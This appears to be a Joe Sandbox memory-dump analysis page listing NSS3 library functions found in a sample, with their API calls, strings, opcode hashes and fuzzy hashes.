Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 55b0def8ac002f2c9ec5f4fc7a3dd50270e2659938532be8df50541ed4f9fd5a
Instruction ID: 33ad436f8233777af429b51242aa052ea1fe54335bddec5253f40a3b89565014
Opcode Fuzzy Hash: 55b0def8ac002f2c9ec5f4fc7a3dd50270e2659938532be8df50541ed4f9fd5a
Instruction Fuzzy Hash: C10180B6901154ABDF01AFA4DC858AB3F3DEF47368F004064FD0997B11E631EA509BA2

Function 6CC44D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC44DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC44DE0

Strings

misuse, xrefs: 6CC44DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC44DCB
API call with %s database connection pointer, xrefs: 6CC44DBD
%s at line %d of [%.10s], xrefs: 6CC44DDA
invalid, xrefs: 6CC44DB8

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: b0c1ac9ead2162043f9777ab66a76436f3cb406ab3bbcf7462e3ef8a5dba24b4
Instruction ID: 496007b87400f1815a5d8d48b15a6c5b4d569b8ab48676b8285fd068dcbcc846
Opcode Fuzzy Hash: b0c1ac9ead2162043f9777ab66a76436f3cb406ab3bbcf7462e3ef8a5dba24b4
Instruction Fuzzy Hash: 31F0E931E14A652FD7008595CC19F9A37555F01719F66C9E0FD087BE52F219A86083D1

Function 6CC44DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC44E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC44E4D

Strings

misuse, xrefs: 6CC44E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC44E38
API call with %s database connection pointer, xrefs: 6CC44E2A
%s at line %d of [%.10s], xrefs: 6CC44E47
invalid, xrefs: 6CC44E25

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c5baaac6f936361edbcc57f4e0866fe5b0faa04babdb44019cbd5b9c8b8cf2ee
Instruction ID: e6e7a1173ece8427e6b6fd02e5e11d886d0de5447515dd75b079b27392c57197
Opcode Fuzzy Hash: c5baaac6f936361edbcc57f4e0866fe5b0faa04babdb44019cbd5b9c8b8cf2ee
Instruction Fuzzy Hash: 11F02721E44969AFE71084A69C18F9AB7855B01329F2DC4A1FE0C77E93F309987142D1

Function 6CBB0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CBB1444,?,00000001,?,00000000,00000000,?,?,6CBB1444,?,?,00000000,?,?), ref: 6CBB0CB3

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CBB1444,?,00000001,?,00000000,00000000,?,?,6CBB1444,?), ref: 6CBB0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CBB1444,?,00000001,?,00000000,00000000,?,?,6CBB1444,?), ref: 6CBB0DEC

Part of subcall function 6CBD0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB72AF5,?,?,?,?,?,6CB70A1B,00000000), ref: 6CBD0F1A
Part of subcall function 6CBD0F10: malloc.MOZGLUE(00000001), ref: 6CBD0F30
Part of subcall function 6CBD0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBD0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CBB1444,?,00000001,?,00000000,00000000,?), ref: 6CBB0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CBB1444,?,00000001,?,00000000), ref: 6CBB0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CBB1444,?,00000001,?,00000000,00000000,?), ref: 6CBB0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CBB1444,?,00000001,?,00000000,00000000,?,?,6CBB1444,?,?,00000000), ref: 6CBB0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CBB1444,?,00000001,?,00000000,00000000,?), ref: 6CBB0E79

Part of subcall function 6CBC1560: TlsGetValue.KERNEL32(00000000,?,6CB90844,?), ref: 6CBC157A
Part of subcall function 6CBC1560: EnterCriticalSection.KERNEL32(?,?,?,6CB90844,?), ref: 6CBC158F
Part of subcall function 6CBC1560: PR_Unlock.NSS3(?,?,?,?,6CB90844,?), ref: 6CBC15B2

Part of subcall function 6CB8B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CB91397,00000000,?,6CB8CF93,5B5F5EC0,00000000,?,6CB91397,?), ref: 6CB8B1CB
Part of subcall function 6CB8B1A0: free.MOZGLUE(5B5F5EC0,?,6CB8CF93,5B5F5EC0,00000000,?,6CB91397,?), ref: 6CB8B1D2

Part of subcall function 6CB889E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CB888AE,-00000008), ref: 6CB88A04
Part of subcall function 6CB889E0: EnterCriticalSection.KERNEL32(?), ref: 6CB88A15
Part of subcall function 6CB889E0: memset.VCRUNTIME140(6CB888AE,00000000,00000132), ref: 6CB88A27
Part of subcall function 6CB889E0: PR_Unlock.NSS3(?), ref: 6CB88A35

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 704a40a3f5a338241abceb8c4dc8053f87a5c57fbd00c03bacb1c9b01ec303b3
Instruction ID: df08474e3e717ac0d706911abb214da8c52fad30e8051f8ed1931d63305dd7b8
Opcode Fuzzy Hash: 704a40a3f5a338241abceb8c4dc8053f87a5c57fbd00c03bacb1c9b01ec303b3
Instruction Fuzzy Hash: FF5194F5E012905FEB009F64ED81ABF37A8DF05258F150064EC09ABB52FB31ED1586A2

Function 6CB66E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CB66ED8
sqlite3_value_text.NSS3(?,?), ref: 6CB66EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CB66FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CB66FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CB66FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CB67010
sqlite3_value_blob.NSS3(?,?), ref: 6CB6701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CB67052

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: caa85ddb7c5ad79728b4f2245b5347a6de1cca74a21dcebb316a6fee8bf5b81d
Instruction ID: eb60ad46ad33a08093144814a48e0601590b33714d4ff64e344fa4f879c0da3a
Opcode Fuzzy Hash: caa85ddb7c5ad79728b4f2245b5347a6de1cca74a21dcebb316a6fee8bf5b81d
Instruction Fuzzy Hash: 2961A1B1E152868FDF00CF66D8407EEB7B2AF85308F284169D855ABF51E7729C05CBA1

Function 6CBBCA30 Relevance: 12.2, APIs: 8, Instructions: 174COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBBCA95
EnterCriticalSection.KERNEL32(00000000), ref: 6CBBCAA9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6CBBC8CF,?,?,?), ref: 6CBBCAE7
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBBCB09
PK11_GetBlockSize.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?,6CBBC8CF,?,?,?), ref: 6CBBCB31

Part of subcall function 6CBB1490: PORT_Alloc_Util.NSS3(0000000C,?,?,?,?,6CBBCB40,?,00000000), ref: 6CBB14A1
Part of subcall function 6CBB1490: PORT_ZAlloc_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6CBBC8CF,?), ref: 6CBB14C7
Part of subcall function 6CBB1490: memset.VCRUNTIME140(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBB14E4
Part of subcall function 6CBB1490: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6CBB14F5

PR_Unlock.NSS3(?), ref: 6CBBCB97
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBBCBB2
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CBBC8CF), ref: 6CBBCBE2

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: UnlockUtil$Alloc_$BlockCriticalEnterErrorItem_K11_SectionSizeValueZfreememcpymemset
String ID:
API String ID: 2753656479-0
Opcode ID: 0568d511102fb137ee26a97834b24508291f4906ccf887c0de175a41028d7495
Instruction ID: 58df06c89df6b7d4a68cfba1994242ac6372f34eb2e496c65c483c74a540b865
Opcode Fuzzy Hash: 0568d511102fb137ee26a97834b24508291f4906ccf887c0de175a41028d7495
Instruction Fuzzy Hash: DB513075E001599FDB10EFA5D880AEEB7B4FF09358F144164E909B7B01EB31E954CBA1

Function 6CBD8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CBD7313), ref: 6CBD8FBB

Part of subcall function 6CBD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB78298,?,?,?,6CB6FCE5,?), ref: 6CBD07BF
Part of subcall function 6CBD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBD07E6
Part of subcall function 6CBD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD081B
Part of subcall function 6CBD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CBD7313), ref: 6CBD9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CBD7313), ref: 6CBD903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CBD7313), ref: 6CBD909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CBD7313), ref: 6CBD90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CBD7313), ref: 6CBD90F1

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CBD7313), ref: 6CBD906B

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CBD7313), ref: 6CBD9128

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: bf8641e1f86ffcd26acde6fe2d582a210699843ea3a2e5bd6fc4ded52eea2df7
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 16518171E002419BEB109F6AEC54B26B3F9EF44358F174169D915D7B61EB32F804CB92

Function 6CBC2470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CBC2D7C,6CB99192,?), ref: 6CBC248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6CBC24A2
memset.VCRUNTIME140(6CBC2D7C,00000020,6CBC2D5C), ref: 6CBC250E
memset.VCRUNTIME140(6CBC2D9C,00000020,6CBC2D7C), ref: 6CBC2535
memset.VCRUNTIME140(?,00000020,?), ref: 6CBC255C
memset.VCRUNTIME140(?,00000020,?), ref: 6CBC2583
PR_Unlock.NSS3(?), ref: 6CBC2594
PR_SetError.NSS3(00000000,00000000), ref: 6CBC25AF

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: 4a58b5fcd3a80fcbda6fd407ed45c373bdbd46251f66beb53f95e9bfb640218e
Instruction ID: 727310a5661a30d3b6fafbed84f2d1703e478d89c889e17de8f47b9a735e1eb8
Opcode Fuzzy Hash: 4a58b5fcd3a80fcbda6fd407ed45c373bdbd46251f66beb53f95e9bfb640218e
Instruction Fuzzy Hash: FC41D1B1F002819BEB019F24DC987AA3774FB59308F142668EC05D7A91F770EA84C293

Function 6CBC05A0 Relevance: 12.1, APIs: 8, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000), ref: 6CBC05DA

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

TlsGetValue.KERNEL32(00000000), ref: 6CBC060C
EnterCriticalSection.KERNEL32 ref: 6CBC0629
TlsGetValue.KERNEL32(00000000), ref: 6CBC066F
EnterCriticalSection.KERNEL32 ref: 6CBC068C
PR_Unlock.NSS3 ref: 6CBC06AA
PK11_GetNextSafe.NSS3 ref: 6CBC06C3
PR_Unlock.NSS3 ref: 6CBC06F9

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$Alloc_K11_NextSafeUtilmalloc
String ID:
API String ID: 1593870348-0
Opcode ID: 5c321c732e0ce8d69a25df726bd229850e07eb2f37b436231fbe52c83d96fc12
Instruction ID: c1c46f5611e59a80f87cc589dc78e6a2fc2ef3274b1a5b4fe2b74689e9b86d1f
Opcode Fuzzy Hash: 5c321c732e0ce8d69a25df726bd229850e07eb2f37b436231fbe52c83d96fc12
Instruction Fuzzy Hash: 1E511AB4A057868FDB00DF69D48466ABBF0FF55318F108569D899DB701EB30E494CB92

Function 6CBCA470 Relevance: 12.1, APIs: 8, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CBCA4A6

Part of subcall function 6CBD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD08B4

PORT_Alloc_Util.NSS3(?), ref: 6CBCA4EC

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6CBCA527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6CBCA56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6CBCA583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CBCA596
free.MOZGLUE(?), ref: 6CBCA5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBCA5B6

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID:
API String ID: 3906949479-0
Opcode ID: 549bd09638140fa49959d8c18c841dd2c5280ca0815bd2ec5d4e0dd6f108675d
Instruction ID: 4c6572d24018465c3d4d5dd04fa3787f2eafabf8965157022717ccdc8465fad1
Opcode Fuzzy Hash: 549bd09638140fa49959d8c18c841dd2c5280ca0815bd2ec5d4e0dd6f108675d
Instruction Fuzzy Hash: 5841C475B042829FDB10CF59CC40BAABBB1AF44208F15C469D8595BB52E732ED19CBA2

Function 6CBB88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBB88FC

Part of subcall function 6CBCBE30: SECOID_FindOID_Util.NSS3(6CB8311B,00000000,?,6CB8311B,?), ref: 6CBCBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CBB8913

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CC9D864,?), ref: 6CBB8947

Part of subcall function 6CBCE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CBCE245
Part of subcall function 6CBCE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CBCE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CBB895B
DER_GetInteger_Util.NSS3(?), ref: 6CBB8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBB8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBB89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBB8A12

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 4f86d89440c04e7b3d7c036269ad39e3c7fd429bdda8c9e76d0f98dc500fc82c
Instruction ID: e5c4bdeec99381838257d82b1c71de829148defe11683cf3294a4e6f328c0b9f
Opcode Fuzzy Hash: 4f86d89440c04e7b3d7c036269ad39e3c7fd429bdda8c9e76d0f98dc500fc82c
Instruction Fuzzy Hash: 7A3138B2A046C156FF104629AC417BE3699DB9132CF241A37D999F7A81FF37C44A8293

Function 6CB94E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB94E90
EnterCriticalSection.KERNEL32 ref: 6CB94EA9
TlsGetValue.KERNEL32 ref: 6CB94EC6
EnterCriticalSection.KERNEL32 ref: 6CB94EDF
PL_HashTableLookup.NSS3 ref: 6CB94EF8
PR_Unlock.NSS3 ref: 6CB94F05
PR_Now.NSS3 ref: 6CB94F13
PR_Unlock.NSS3 ref: 6CB94F3A

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
